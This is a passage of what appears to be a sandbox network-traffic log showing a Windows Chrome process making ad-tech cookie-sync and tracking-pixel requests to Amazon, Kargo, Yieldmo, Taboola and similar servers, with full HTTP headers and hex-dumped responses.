2024-05-24 22:46:27 UTC	447	OUT	GET /ecm3?ex=index&id=LwMvj4H4odxwUkfweFe5RDc4dU04ZgIC HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:27 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: MXG5B50EDFQ8PM6T54J9 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.6	50345	18.199.24.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	489	OUT	GET /api/v1/dsync/amazon?exid=IoDspU2wQteYp1WkLseR6w&r=https://s.amazon-adsystem.com/ecm3?ex=KargoHMT&id= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=6319c288-41f9-0f33-5a22-3483ce329f63
2024-05-24 22:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ktcid=6319c288-41f9-0f33-5a22-3483ce329f63; Path=/; Domain=kargo.com; Expires=Sat, 24 May 2025 22:46:27 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0 X-Rejected: consent
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.6	50348	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	659	OUT	GET /ecm3?&ex=ninthdecimal.com&id=2C431E0AC31851662500575602FA372F HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:27 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: CZ1XDHPYS39SHDFDWFTY Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.6	50338	52.28.91.150	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	770	OUT	GET /lm/acs?json={%22GUID%22:%22f61b9649-e91d-4cf8-896a-9588ddfc6d14%22,%22Time%22:%2220240524T224626.554626%22}&rtu=https://s.amazon-adsystem.com/ecm3?ex=sizmek&id=[%tp_UserID%] HTTP/1.1 Host: lm.serving-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u2=f61b9649-e91d-4cf8-896a-9588ddfc6d144Sr060
2024-05-24 22:46:27 UTC	221	IN	HTTP/1.1 302 Found Server: LogModule 0.6 Content-Type: text/html; charset=UTF-8 Location: https://s.amazon-adsystem.com/ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14 Connection: close Content-Length: 204
2024-05-24 22:46:27 UTC	204	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 68 74 74 70 73 3a 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 65 63 6d 33 3f 65 78 3d 73 69 7a 6d 65 6b 26 69 64 3d 66 36 31 62 39 36 34 39 2d 65 39 31 64 2d 34 63 66 38 2d 38 39 36 61 2d 39 35 38 38 64 64 66 63 36 64 31 34 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF=https://s.amazon-adsystem.com/ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14>here</a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.6	50351	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	639	OUT	GET /ecm3?ex=adform.net&id=7524711333367321108 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:27 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 9CR291CGSR61ZDCD00CM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.6	50352	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	643	OUT	GET /ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: VKRGV59T978KBH0FE026 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.6	50347	34.240.251.94	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	687	OUT	GET /sync?pn_id=amazon&id=QKgTnQyQRDSeGLrmn4OV6w&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DyieldmoHMT%26id%3D%7B%7Buserid%7D%7D HTTP/1.1 Host: sync-amazon.ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:28 UTC	873	IN	HTTP/1.1 302 Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: application/json;charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: yieldmo_id=VIV7vHHbbPHDiyj7Q9wO%7C1716508800000%7C0; Max-Age=31536000; Expires=Sat, 24 May 2025 22:46:28 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptramazon=QKgTnQyQRDSeGLrmn4OV6w; Max-Age=31536000; Expires=Sat, 24 May 2025 22:46:28 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile Location: https://s.amazon-adsystem.com/ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.6	50360	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	660	OUT	GET /ecm3?id=UmOkNgvbkM5WJzR4crmtrA&ex=rubiconproject.com&status=ok HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: A0TT62R7836BK0XY9S42 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.6	50359	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	650	OUT	GET /ecm3?&ex=nielsen&id=255938791ef4d4d26431397836a1a4e2 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: Y4QNAJAXE8NYH0VTKZK1 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.6	50362	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	441	OUT	GET /ecm3?id=6116765264039870456&ex=appnexus.com HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: YHC93MN6YNGXYQ0FYA2X Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.6	50363	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	640	OUT	GET /ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: ATNY3N0TK5165FA91JHW Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.6	50365	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	459	OUT	GET /ecm3?&ex=ninthdecimal.com&id=2C431E0AC31851662500575602FA372F HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: NTM5BSXDGVTV9AM2F563 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.6	50366	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	652	OUT	GET /ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: E632PKZ37PSKPN6VEM44 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.6	50364	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	649	OUT	GET /adscores/g.pixel?sid=9212284268 HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
2024-05-24 22:46:28 UTC	713	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:28 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:28 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://s.amazon-adsystem.com/ecm3?id=219933204892004054749&ex=neustar.biz
2024-05-24 22:46:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.6	50361	141.226.228.48	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	566	OUT	GET /sg/amazon-a9-network/1/rtb HTTP/1.1 Host: sync.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:28 UTC	679	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 24 May 2024 22:46:28 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: t_gid=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44;Version=1;Path=/;Domain=.taboola.com;Expires=Sat, 24-May-2025 22:46:28 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44;Version=1;Path=/;Domain=.taboola.com;Expires=Sat, 24-May-2025 22:46:28 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Location: https://s.amazon-adsystem.com/ecm3?ex=taboola.com&id=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44 X-Fastly-to-NLB-rtt: 88128 Access-Control-Allow-Credentials: true
2024-05-24 22:46:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.6	50368	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:28 UTC	439	OUT	GET /ecm3?ex=adform.net&id=7524711333367321108 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:28 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 8DD2BJGBKKE4QTY5HD4F Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.6	50371	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
